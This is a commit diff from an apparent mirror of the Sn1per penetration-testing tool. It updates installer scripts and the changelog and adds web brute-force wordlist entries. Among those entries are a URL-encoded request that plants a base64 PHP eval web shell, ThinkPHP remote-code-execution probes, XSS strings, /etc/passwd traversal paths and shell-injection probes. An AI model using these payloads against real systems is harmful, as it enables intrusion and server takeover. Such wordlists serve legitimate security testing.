mirror of https://github.com/1N3/Sn1per.git
Sn1per Community Edition by @xer0dayz
This commit is contained in:
root
parent
6a20a9a574
commit
2a593cad9a
|
|
@ -4,6 +4,7 @@
|
|||
* v8.1 - Added --data-length=50 for NMap IPS evasion
|
||||
* v8.1 - Removed NMap vulscan script due to F+ results
|
||||
* v8.1 - Fixed issue with CRT.SH sub-domain retrieval
|
||||
* v8.1 - Updated Kali Linux keyring package
|
||||
* v8.1 - Fixed "[: ==: unary operator expected" in all code
|
||||
* v8.1 - Updated Sn1per Professional autoload settings
|
||||
* v8.1 - Updated web brute force wordlists
|
||||
|
|
|
|||
|
|
@ -48,8 +48,8 @@ if [[ $UBUNTU_CHECK == "DISTRIB_ID=Ubuntu" ]]; then
|
|||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
fi
|
||||
wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.2_all.deb -O /tmp/kali-archive-keyring_2018.2_all.deb
|
||||
apt install /tmp/kali-archive-keyring_2018.2_all.deb
|
||||
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt update
|
||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||
|
|
|
|||
|
|
@ -26,8 +26,8 @@ if [[ ! -f "/etc/apt/sources.list.bak" ]]; then
|
|||
echo "deb http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
echo "deb-src http://http.kali.org/kali kali-rolling main non-free contrib" >> /etc/apt/sources.list
|
||||
fi
|
||||
wget https://http.kali.org/kali/pool/main/k/kali-archive-keyring/kali-archive-keyring_2018.2_all.deb
|
||||
apt install ./kali-archive-keyring_2018.2_all.deb
|
||||
wget https://http.kali.org/pool/main/k/kali-archive-keyring/kali-archive-keyring_2020.2_all.deb -O /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt install /tmp/kali-archive-keyring_2020.2_all.deb
|
||||
apt update
|
||||
cp /root/.Xauthority /root/.Xauthority.bak 2> /dev/null
|
||||
cp -a /run/user/1000/gdm/Xauthority /root/.Xauthority 2> /dev/null
|
||||
|
|
|
|||
2
sniper
2
sniper
|
|
@ -3,7 +3,7 @@
|
|||
# + -- --=[https://xerosecurity.com
|
||||
#
|
||||
|
||||
VER="8.1"
|
||||
VER="8.0"
|
||||
INSTALL_DIR="/usr/share/sniper"
|
||||
LOOT_DIR="$INSTALL_DIR/loot/$TARGET"
|
||||
SNIPER_PRO=$INSTALL_DIR/pro.sh
|
||||
|
|
|
|||
|
|
@ -5197,3 +5197,152 @@ wizmysqladmin/
|
|||
ccms/
|
||||
ccms/login.php
|
||||
ccms/index.php
|
||||
activemq
|
||||
admin
|
||||
ansible
|
||||
apache
|
||||
artifactory
|
||||
asterisk
|
||||
av
|
||||
aws
|
||||
backup
|
||||
bamb
|
||||
bamboo
|
||||
build
|
||||
capistrano
|
||||
cassandra
|
||||
checkstyle
|
||||
chef
|
||||
ci
|
||||
clickhouse
|
||||
cloud
|
||||
codeship
|
||||
collectd
|
||||
collectl
|
||||
conf
|
||||
confluence
|
||||
consul
|
||||
crm
|
||||
datadog
|
||||
desk
|
||||
dev
|
||||
docker
|
||||
docs
|
||||
dokuwiki
|
||||
elastic
|
||||
elasticsearch
|
||||
email
|
||||
fabric
|
||||
findbugs
|
||||
ganglia
|
||||
gateway
|
||||
git
|
||||
github
|
||||
gitlab
|
||||
gl
|
||||
glpi
|
||||
gradle
|
||||
grafana
|
||||
graphite
|
||||
graylog
|
||||
groovy
|
||||
haproxy
|
||||
icinga
|
||||
influxdb
|
||||
jacoco
|
||||
jenkins
|
||||
jira
|
||||
jk
|
||||
juju
|
||||
junit
|
||||
kafka
|
||||
kairosdb
|
||||
keycloak
|
||||
kibana
|
||||
kube
|
||||
kuber
|
||||
kubernetes
|
||||
ldap
|
||||
liferay
|
||||
log
|
||||
logstash
|
||||
mail
|
||||
mattermost
|
||||
maven
|
||||
mcollective
|
||||
memcached
|
||||
mercurial
|
||||
mesos
|
||||
metric
|
||||
metrics
|
||||
mirror
|
||||
mongo
|
||||
mongodb
|
||||
monit
|
||||
monitoring
|
||||
mysql
|
||||
naginator
|
||||
nagios
|
||||
netdata
|
||||
nextcloud
|
||||
nfs
|
||||
oauth
|
||||
openshift
|
||||
openstack
|
||||
opentsdb
|
||||
osticket
|
||||
otrs
|
||||
owncloud
|
||||
package
|
||||
pagerduty
|
||||
pbx
|
||||
prometheus
|
||||
proxy
|
||||
puppet
|
||||
rabbitmq
|
||||
radius
|
||||
raygun
|
||||
redis
|
||||
redmine
|
||||
registry
|
||||
repo
|
||||
rudder
|
||||
saltstack
|
||||
sbt
|
||||
scalyr
|
||||
selenium
|
||||
sensu
|
||||
sentry
|
||||
sip
|
||||
snort
|
||||
sonar
|
||||
sonarcube
|
||||
sonarqube
|
||||
splunk
|
||||
squid
|
||||
stackstorm
|
||||
stas
|
||||
stash
|
||||
statsd
|
||||
subversion
|
||||
supervisor
|
||||
supervisord
|
||||
support
|
||||
svn
|
||||
tasks
|
||||
team
|
||||
teraform
|
||||
tools
|
||||
tripwire
|
||||
ui
|
||||
upguard
|
||||
vagrant
|
||||
variant
|
||||
vault
|
||||
violations
|
||||
vpn
|
||||
vtiger
|
||||
wiki
|
||||
zabbix
|
||||
zimbra
|
||||
zipkin
|
||||
File diff suppressed because it is too large
Load Diff
|
|
@ -1,3 +1,393 @@
|
|||
|
||||
%3Cinvalid%3Ehello.html
|
||||
%3Cscript%3Ealert%281%29%3C/script%3E.html
|
||||
../../../../etc/passwd
|
||||
.DS_Store
|
||||
.bashrc
|
||||
.env
|
||||
.ftpconfig
|
||||
.git
|
||||
.git/config
|
||||
.gitignore
|
||||
.remote-sync.json
|
||||
.ssh
|
||||
.svn
|
||||
.travis.yml
|
||||
.vscode/ftp-sync.json
|
||||
.vscode/sftp.json
|
||||
//webconfig.txt.php
|
||||
/Admin_Files/
|
||||
/administrator//webconfig.txt.php
|
||||
/administrator/?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
|
||||
/cdn-cgi/l/email-protection
|
||||
/webconfig.txt.php
|
||||
0154bbf5-07f1-4c7c-8e46-0ff2fa7c4b63
|
||||
1x.php
|
||||
2e08EGDu9JsP.tar.gz
|
||||
2phpmyadmin/index.php?lang=en
|
||||
398df0ca-e26a-4c1b-8dfb-741e7bc65629
|
||||
5IbjhV3Fvvzu.bak
|
||||
<invalid>hello.html
|
||||
<script>alert(1)</script>.html
|
||||
?1=%40ini_set%28%22display_errors%22%2C%220%22%29%3B%40set_time_limit%280%29%3B%40set_magic_quotes_runtime%280%29%3Becho%20%27-%3E%7C%27%3Bfile_put_contents%28%24_SERVER%5B%27DOCUMENT_ROOT%27%5D.%27/webconfig.txt.php%27%2Cbase64_decode%28%27PD9waHAgZXZhbCgkX1BPU1RbMV0pOz8%2B%27%29%29%3Becho%20%27%7C%3C-%27%3B
|
||||
?id=<script>alert(1)</script>
|
||||
?nx=@@
|
||||
Admin
|
||||
B47lt8fmobYn.aspx
|
||||
Dockerfile
|
||||
Drupal.php
|
||||
IEpIHskiaThc/
|
||||
JRVa7EKZr3U1.html
|
||||
Makefile
|
||||
MyAdmin/index.php
|
||||
MyAdmin/index.php?lang=en
|
||||
PMA/index.php
|
||||
PMA/index.php?lang=en
|
||||
PMA2/index.php
|
||||
PMA2011/index.php?lang=en
|
||||
PMA2012/index.php?lang=en
|
||||
PMA2013/index.php?lang=en
|
||||
PMA2014/index.php?lang=en
|
||||
PMA2015/index.php?lang=en
|
||||
PMA2016/index.php?lang=en
|
||||
PMA2017/index.php?lang=en
|
||||
PMA2018/index.php?lang=en
|
||||
R8zHnpvsaVdU.htm
|
||||
TP/index.php
|
||||
TP/public/index.php
|
||||
Wj2nrelVEj2s.php
|
||||
_query.php
|
||||
aBrCi1xjVYfd.zip
|
||||
admin
|
||||
admin/.env
|
||||
admin/PMA/index.php
|
||||
admin/db/index.php?lang=en
|
||||
admin/index.php
|
||||
admin/index.php?lang=en
|
||||
admin/mysql/index.php
|
||||
admin/mysql2/index.php
|
||||
admin/pMA/index.php?lang=en
|
||||
admin/phpMyAdmin/index.php
|
||||
admin/phpMyAdmin/index.php?lang=en
|
||||
admin/phpmyadmin/index.php
|
||||
admin/phpmyadmin/index.php?lang=en
|
||||
admin/phpmyadmin2/index.php
|
||||
admin/pma/index.php
|
||||
admin/sqladmin/index.php?lang=en
|
||||
admin/sysadmin/index.php?lang=en
|
||||
admin/web/index.php?lang=en
|
||||
administrator/PMA/index.php?lang=en
|
||||
administrator/admin/index.php?lang=en
|
||||
administrator/db/index.php?lang=en
|
||||
administrator/phpMyAdmin/index.php?lang=en
|
||||
administrator/phpmyadmin/index.php?lang=en
|
||||
administrator/pma/index.php?lang=en
|
||||
administrator/web/index.php?lang=en
|
||||
api
|
||||
api/.env
|
||||
app/.env
|
||||
appserv.php
|
||||
blog
|
||||
cacti/plugins/weathermap/editor.php
|
||||
cgi-bin
|
||||
cgi-bin/firmware.cgi?formNumber=200
|
||||
claroline/phpMyAdmin/index.php
|
||||
cmd.exe
|
||||
cmd.php
|
||||
cmdd.php
|
||||
cmv.php
|
||||
composer.json
|
||||
composer.php
|
||||
composers.php
|
||||
css
|
||||
d7.php
|
||||
data
|
||||
database/index.php?lang=en
|
||||
db/db-admin/index.php?lang=en
|
||||
db/dbadmin/index.php?lang=en
|
||||
db/dbweb/index.php?lang=en
|
||||
db/index.php
|
||||
db/index.php?lang=en
|
||||
db/myadmin/index.php?lang=en
|
||||
db/phpMyAdmin-3/index.php?lang=en
|
||||
db/phpMyAdmin/index.php?lang=en
|
||||
db/phpMyAdmin3/index.php?lang=en
|
||||
db/phpmyadmin/index.php?lang=en
|
||||
db/phpmyadmin3/index.php?lang=en
|
||||
db/webadmin/index.php?lang=en
|
||||
db/webdb/index.php?lang=en
|
||||
db/websql/index.php?lang=en
|
||||
db_cts.php
|
||||
db_pma.php
|
||||
dbadmin/index.php
|
||||
dbadmin/index.php?lang=en
|
||||
deployment-config.json
|
||||
desktop.ini.php
|
||||
dev/.env
|
||||
ezQvDVsRilYn
|
||||
favicon.ico
|
||||
gVLPOA6kgtKm.asp
|
||||
gulpfile.js
|
||||
hell.php
|
||||
help-e.php
|
||||
help.php
|
||||
home
|
||||
home.php
|
||||
htdocs.php
|
||||
hue2.php
|
||||
icons/apache_pb.gif
|
||||
icons/apache_pb2.gif
|
||||
images
|
||||
images/
|
||||
images/!.php
|
||||
images/vuln.php
|
||||
img
|
||||
img/
|
||||
index
|
||||
index.action
|
||||
index.asp
|
||||
index.aspx
|
||||
index.do
|
||||
index.htm
|
||||
index.html
|
||||
index.jsp
|
||||
index.php
|
||||
index.php?lang=en
|
||||
index.php?s=%2f%69%6e%64%65%78%2f%5c%74%68%69%6e%6b%5c%61%70%70%2f%69%6e%76%6f%6b%65%66%75%6e%63%74%69%6f%6e&function=%63%61%6c%6c%5f%75%73%65%72%5f%66%75%6e%63%5f%61%72%72%61%79&vars[0]=%6d%645&vars[1][]=%48%65%6c%6c%6f%54%68%69%6e%6b%50%4\x99\x9e6
|
||||
index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=HelloThinkPHP
|
||||
index.php?s=/index/
|
||||
index.php?s=Home/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
|
||||
index.php?s=index/%5Cthink%5Capp/invokefunction&function=call_user_func_array&vars%5B0%5D=phpinfo&vars%5B1%5D%5B%5D=1
|
||||
izom.php
|
||||
java.php
|
||||
js
|
||||
knal.php
|
||||
lala-dpr.php
|
||||
lala.php
|
||||
lang.php?f=1
|
||||
license.php
|
||||
log.php
|
||||
logon.php
|
||||
lol.php
|
||||
manager/html
|
||||
muhstik-dpr.php
|
||||
muhstik.php
|
||||
muhstik2.php
|
||||
muhstiks.php
|
||||
myadmin/index.php
|
||||
myadmin/index.php?lang=en
|
||||
myadmin2/index.php
|
||||
mysql-admin/index.php
|
||||
mysql-admin/index.php?lang=en
|
||||
mysql/admin/index.php
|
||||
mysql/admin/index.php?lang=en
|
||||
mysql/db/index.php?lang=en
|
||||
mysql/dbadmin/index.php
|
||||
mysql/dbadmin/index.php?lang=en
|
||||
mysql/index.php
|
||||
mysql/index.php?lang=en
|
||||
mysql/mysqlmanager/index.php
|
||||
mysql/mysqlmanager/index.php?lang=en
|
||||
mysql/pMA/index.php?lang=en
|
||||
mysql/pma/index.php?lang=en
|
||||
mysql/sqlmanager/index.php
|
||||
mysql/sqlmanager/index.php?lang=en
|
||||
mysql/web/index.php?lang=en
|
||||
mysql_admin/index.php
|
||||
mysqladmin/index.php
|
||||
mysqladmin/index.php?lang=en
|
||||
mysqlmanager/index.php?lang=en
|
||||
new_license.php
|
||||
package.json
|
||||
payload.php
|
||||
php-my-admin/index.php?lang=en
|
||||
php-myadmin/index.php?lang=en
|
||||
php2MyAdmin/index.php
|
||||
phpAdmin/index.php
|
||||
phpMyAbmin/index.php
|
||||
phpMyAdm1n/index.php
|
||||
phpMyAdmin
|
||||
phpMyAdmin+++---/index.php
|
||||
phpMyAdmin-3/index.php?lang=en
|
||||
phpMyAdmin-4.4.0/index.php
|
||||
phpMyAdmin._/index.php
|
||||
phpMyAdmin.old/index.php
|
||||
phpMyAdmin/index.php
|
||||
phpMyAdmin/index.php?lang=en
|
||||
phpMyAdmin/phpMyAdmin/index.php
|
||||
phpMyAdmin/scripts/db___.init.php
|
||||
phpMyAdmin/scripts/setup.php
|
||||
phpMyAdmin1/index.php
|
||||
phpMyAdmin123/index.php
|
||||
phpMyAdmin2/index.php?lang=en
|
||||
phpMyAdmin3/index.php?lang=en
|
||||
phpMyAdmin4/index.php?lang=en
|
||||
phpMyAdmin__/index.php
|
||||
phpMyAdmina/index.php
|
||||
phpMyAdminold/index.php
|
||||
phpMyAdmins/index.php
|
||||
phpMyAdmion/index.php
|
||||
phpMyadmi/index.php
|
||||
phpMyadmin/index.php?lang=en
|
||||
phpMyadmin_bak/index.php
|
||||
phpMydmin/index.php
|
||||
phpNyAdmin/index.php
|
||||
phpadmin/index.php
|
||||
phpiMyAdmin/index.php
|
||||
phpma/index.php
|
||||
phpmy-admin/index.php?lang=en
|
||||
phpmy/index.php
|
||||
phpmy/index.php?lang=en
|
||||
phpmyAdmin/index.php?lang=en
|
||||
phpmyadm1n/index.php
|
||||
phpmyadmin
|
||||
phpmyadmin-old/index.php
|
||||
phpmyadmin/index.php
|
||||
phpmyadmin/index.php?lang=en
|
||||
phpmyadmin/phpmyadmin/index.php
|
||||
phpmyadmin/scripts/db___.init.php
|
||||
phpmyadmin/scripts/setup.php
|
||||
phpmyadmin0/index.php
|
||||
phpmyadmin1/index.php
|
||||
phpmyadmin2/index.php
|
||||
phpmyadmin2/index.php?lang=en
|
||||
phpmyadmin2011/index.php?lang=en
|
||||
phpmyadmin2012/index.php?lang=en
|
||||
phpmyadmin2013/index.php?lang=en
|
||||
phpmyadmin2014/index.php?lang=en
|
||||
phpmyadmin2015/index.php?lang=en
|
||||
phpmyadmin2016/index.php?lang=en
|
||||
phpmyadmin2017/index.php?lang=en
|
||||
phpmyadmin2018/index.php?lang=en
|
||||
phpmyadmin2019/index.php?lang=en
|
||||
phpmyadmin2222/index.php
|
||||
phpmyadmin3/index.php?lang=en
|
||||
phpmyadmin4/index.php?lang=en
|
||||
phppma/index.php
|
||||
phppma/index.php?lang=en
|
||||
plugins/weathermap/editor.php
|
||||
pma-old/index.php
|
||||
pma/index.php
|
||||
pma/index.php?lang=en
|
||||
pma2011/index.php?lang=en
|
||||
pma2012/index.php?lang=en
|
||||
pma2013/index.php?lang=en
|
||||
pma2014/index.php?lang=en
|
||||
pma2015/index.php?lang=en
|
||||
pma2016/index.php?lang=en
|
||||
pma2017/index.php?lang=en
|
||||
pma2018/index.php?lang=en
|
||||
pma2019/index.php?lang=en
|
||||
pmamy/index.php
|
||||
pmamy2/index.php
|
||||
pmd/index.php
|
||||
pmd_online.php
|
||||
portal
|
||||
program/index.php
|
||||
program/index.php?lang=en
|
||||
pwd/index.php
|
||||
readme.md
|
||||
readme.txt
|
||||
robots.txt
|
||||
rxr.php
|
||||
s/index.php
|
||||
scripts
|
||||
scripts.js
|
||||
scripts/setup.php
|
||||
server.js
|
||||
sftp-config.json
|
||||
shaAdmin/index.php
|
||||
shell.php
|
||||
shopdb/index.php
|
||||
shopdb/index.php?lang=en
|
||||
sitemap.xml
|
||||
spider.php
|
||||
sql/myadmin/index.php?lang=en
|
||||
sql/php-myadmin/index.php?lang=en
|
||||
sql/phpMyAdmin/index.php?lang=en
|
||||
sql/phpMyAdmin2/index.php?lang=en
|
||||
sql/phpmanager/index.php?lang=en
|
||||
sql/phpmy-admin/index.php?lang=en
|
||||
sql/phpmyadmin2/index.php?lang=en
|
||||
sql/sql-admin/index.php?lang=en
|
||||
sql/sql/index.php?lang=en
|
||||
sql/sqladmin/index.php?lang=en
|
||||
sql/sqlweb/index.php?lang=en
|
||||
sql/webadmin/index.php?lang=en
|
||||
sql/webdb/index.php?lang=en
|
||||
sql/websql/index.php?lang=en
|
||||
sqlmanager/index.php?lang=en
|
||||
stalker_portal/LICENSE
|
||||
static/.gitignore
|
||||
struts2-rest-showcase/orders.xhtml
|
||||
t6nv.php
|
||||
test.php
|
||||
text.php
|
||||
tools/phpMyAdmin/index.php
|
||||
typo3/phpmyadmin/index.php
|
||||
undx.php
|
||||
upload
|
||||
uploader.php
|
||||
uploads
|
||||
user
|
||||
users
|
||||
v/index.php
|
||||
vpn/../vpns/cfg/smb.conf
|
||||
web.config
|
||||
web/.env
|
||||
web/phpMyAdmin/index.php
|
||||
webdav/
|
||||
wordpress
|
||||
wordpress/
|
||||
wordpress/?author=1
|
||||
wordpress/?author=2
|
||||
wordpress/?author=3
|
||||
wordpress/?author=4
|
||||
wordpress/?author=5
|
||||
wordpress/?author=6
|
||||
wordpress/tag/history/
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/amex.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/diners.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/discover.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/jcb.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/laser.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/maestro.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/mastercard.svg
|
||||
wordpress/wp-content/themes/intact/core/assets/images/icons/credit-cards/visa.svg
|
||||
wordpress/wp-json/jetpack/v4/jitm?message_path=wp%3Ashop_order%3Aadmin_notices&query=post%253D6621%252Caction%253Dedit%252Cmessage%253D1&_wpnonce=d2edde835f
|
||||
wordpress/wp-json/jetpack/v4/jitm?message_path=wp%3Ashop_order%3Aedit_form_top&query=post%253D6621%252Caction%253Dedit%252Cmessage%253D1&_wpnonce=d2edde835f
|
||||
wordpress/wp-json/wc-analytics/admin/notes?order=desc&orderby=date&page=1&per_page=1&type=info%2Cwarning&_locale=user
|
||||
wordpress/wp-json/wc-analytics/admin/notes?page=1&per_page=25&status=unactioned&type=error%2Cupdate&_locale=user
|
||||
wordpress/wp-json/wc-analytics/orders?_fields%5B0%5D=id&page=1&per_page=1&status%5B0%5D=processing&status%5B1%5D=on-hold&_locale=user
|
||||
wordpress/wp-json/wc-analytics/products?low_in_stock=true&page=1&per_page=1&status=publish&_locale=user
|
||||
wordpress/wp-json/wp/v2/users/me?context=edit&_locale=user
|
||||
wordpress/xmlrpc.php?action=query&exintro=&explaintext=&format=json&prop=extracts&titles=
|
||||
wordpress/xmlrpc.php?for=jetpack
|
||||
wp
|
||||
wp-admin/css/install.min.css?ver=5.0.3
|
||||
wp-admin/images/spinner.gif
|
||||
wp-admin/images/wordpress-logo.svg?ver=20131107
|
||||
wp-admin/install.php
|
||||
wp-admin/js/language-chooser.min.js?ver=5.0.3
|
||||
wp-admin/js/password-strength-meter.min.js?ver=5.0.3
|
||||
wp-admin/js/user-profile.min.js?ver=5.0.3
|
||||
wp-config.php
|
||||
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php
|
||||
wp-content/plugins/portable-phpmyadmin/wp-pma-mod/index.php?lang=en
|
||||
wp-includes/css/buttons.min.css?ver=5.0.3
|
||||
wp-includes/css/dashicons.min.css?ver=5.0.3
|
||||
wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1
|
||||
wp-includes/js/jquery/jquery.js?ver=1.12.4
|
||||
wp-includes/js/underscore.min.js?ver=1.8.3
|
||||
wp-includes/js/wp-util.min.js?ver=5.0.3
|
||||
wp-includes/js/zxcvbn-async.min.js?ver=1.0
|
||||
wp-includes/js/zxcvbn.min.js
|
||||
wpc.php
|
||||
wpo.php
|
||||
www/phpMyAdmin/index.php
|
||||
x.php
|
||||
xampp/phpmyadmin/index.php
|
||||
z.php
|
||||
.htaccess
|
||||
.htpasswd
|
||||
.meta
|
||||
|
|
@ -441,7 +831,7 @@ cgi-bin/fortune
|
|||
cgi-bin/redirect
|
||||
cgi-bin/uptime
|
||||
cgi-bin/wais.pl
|
||||
/
|
||||
|
||||
webtop/wdk/
|
||||
SilverStream
|
||||
signon
|
||||
|
|
@ -492,7 +882,7 @@ cgi-bin/test-env
|
|||
.perf
|
||||
|
||||
|
||||
/
|
||||
|
||||
admin-serv/config/admpw
|
||||
test.php%20
|
||||
*.*
|
||||
|
|
@ -588,9 +978,9 @@ php/php.exe?c:\boot.ini
|
|||
../../../../../../../../../boot.ini
|
||||
../../../../winnt/repair/sam._
|
||||
..\\..\\..\\..\\..\\..\\..\\boot.ini
|
||||
//etc/passwd
|
||||
//etc/hosts
|
||||
///./../.../boot.ini
|
||||
/etc/passwd
|
||||
/etc/hosts
|
||||
//./../.../boot.ini
|
||||
.cobalt/sysManage/../admin/.htaccess
|
||||
albums/userpics/Copperminer.jpg.php?cat%20/etc/passwd
|
||||
autohtml.php?op=modload&mainfile=x&name=/etc/passwd
|
||||
|
|
@ -970,8 +1360,8 @@ a.jsp/<script>alert('Vulnerable')</script>
|
|||
<script>alert('Vulnerable')</script>.shtml
|
||||
<script>alert('Vulnerable')</script>.jsp
|
||||
<script>alert('Vulnerable')</script>.aspx
|
||||
/profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>
|
||||
/comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>
|
||||
profiles.php?what=contact&author=ich&authoremail=bla%40bla.com&subject=hello&message=text&uid=<script>alert(document.cookie)</script>
|
||||
comment.php?mode=Delete&sid=1&cid=<script>alert(document.cookie)</script>
|
||||
<script>alert('Vulnerable');</script>
|
||||
%3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
|
||||
%3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
|
||||
|
|
@ -1250,7 +1640,7 @@ _vti_pvt/writeto.cnf
|
|||
_vti_pvt/linkinfo.cnf
|
||||
admin/
|
||||
isx.html
|
||||
//
|
||||
/
|
||||
cgi-bin/blog/mt-check.cgi
|
||||
mailman/admin/ml-name?\"><script>alert('Vulnerable')</script>;
|
||||
mail/addressaction.html?id=<USERID#>&newaddress=1&addressname=<script>alert('Vulnerable')</script>&addressemail=junk@example.com
|
||||
|
|
@ -1415,7 +1805,7 @@ cgi-bin/gbook/gbook.cgi?_MAILTO=xx;ls
|
|||
cgi-bin/bslist.cgi?email=x;ls
|
||||
cgi-bin/bsguest.cgi?email=x;ls
|
||||
cgi-bin/nbmember.cgi?cmd=list_all_users
|
||||
/admin/admin.shtml
|
||||
admin/admin.shtml
|
||||
axis-cgi/buffer/command.cgi
|
||||
support/messages
|
||||
cgi-bin/where.pl?sd=ls%20/etc
|
||||
|
|
@ -1539,7 +1929,7 @@ iisadmpwd/aexp2b.htr
|
|||
iisadmpwd/aexp3.htr
|
||||
iisadmpwd/aexp4.htr
|
||||
iisadmpwd/aexp4b.htr
|
||||
/admin/aindex.htm
|
||||
admin/aindex.htm
|
||||
cgi-bin/gbadmin.cgi?action=change_adminpass
|
||||
cgi-bin/gbadmin.cgi?action=change_automail
|
||||
cgi-bin/gbadmin.cgi?action=colors
|
||||
|
|
@ -2803,8 +3193,8 @@ cgi-bin/.www_acl
|
|||
.ssh/authorized_keys
|
||||
.ssh/known_hosts
|
||||
cgi-bin/ls
|
||||
///../../data/config/microsrv.cfg
|
||||
///////../../../../../../etc/passwd
|
||||
//../../data/config/microsrv.cfg
|
||||
//////../../../../../../etc/passwd
|
||||
_vti_bin/shtml.exe/_vti_rpc
|
||||
doc/rt/overview-summary.html
|
||||
docs/sdb/en/html/index.html
|
||||
|
|
@ -3071,7 +3461,7 @@ conspass.chl+
|
|||
consport.chl+
|
||||
general.chl+
|
||||
srvstatus.chl+
|
||||
///////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
//////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////
|
||||
firewall/policy/dlg?q=-1&fzone=t<script>alert('Vulnerable')</script>>&tzone=dmz
|
||||
firewall/policy/policy?fzone=internal&tzone=dmz1<script>alert('Vulnerable')</script>
|
||||
antispam/listdel?file=blacklist&name=b<script>alert('Vulnerable')</script>&startline=0
|
||||
|
|
@ -3137,7 +3527,7 @@ scripts/tools/getdrvrs.exe
|
|||
cgi-bin/webbbs/webbbs_config.pl?name=joe&email=test@example.com&body=aaaaffff&followup=10;cat%20/etc/passwd
|
||||
cgi-bin/vote.cgi
|
||||
cgi-bin/quizme.cgi
|
||||
/
|
||||
|
||||
shop/normal_html.cgi?file=../../../../../../etc/issue%00
|
||||
shop/normal_html.cgi?file=;cat%20/etc/passwd|
|
||||
shop/normal_html.cgi?file=|cat%20/etc/passwd|
|
||||
|
|
@ -3475,7 +3865,7 @@ _pages/_webapp/_admin/_showjavartdetails.java
|
|||
_pages/_demo/
|
||||
_pages/_webapp/_jsp/
|
||||
_pages/_demo/_sql/
|
||||
/OA_HTML/_pages/
|
||||
OA_HTML/_pages/
|
||||
OA_HTML/webtools/doc/index.html
|
||||
reports/rwservlet?server=repserv+report=/tmp/hacker.rdf+destype=cache+desformat=PDF
|
||||
apex/
|
||||
|
|
@ -4574,7 +4964,7 @@ webdfwag
|
|||
webdmiag
|
||||
webhead.gif
|
||||
xfc
|
||||
/
|
||||
|
||||
HFM/
|
||||
HFM/Administration
|
||||
HFM/Administration/ManageServersAndApplications.asp
|
||||
|
|
@ -10433,4 +10823,4 @@ wps/wprs
|
|||
wps/wsdl/*
|
||||
wps_semanticTag
|
||||
wsrp
|
||||
/unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd
|
||||
unauthenticated/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/..%01/etc/passwd
|
||||
Loading…
Reference in New Issue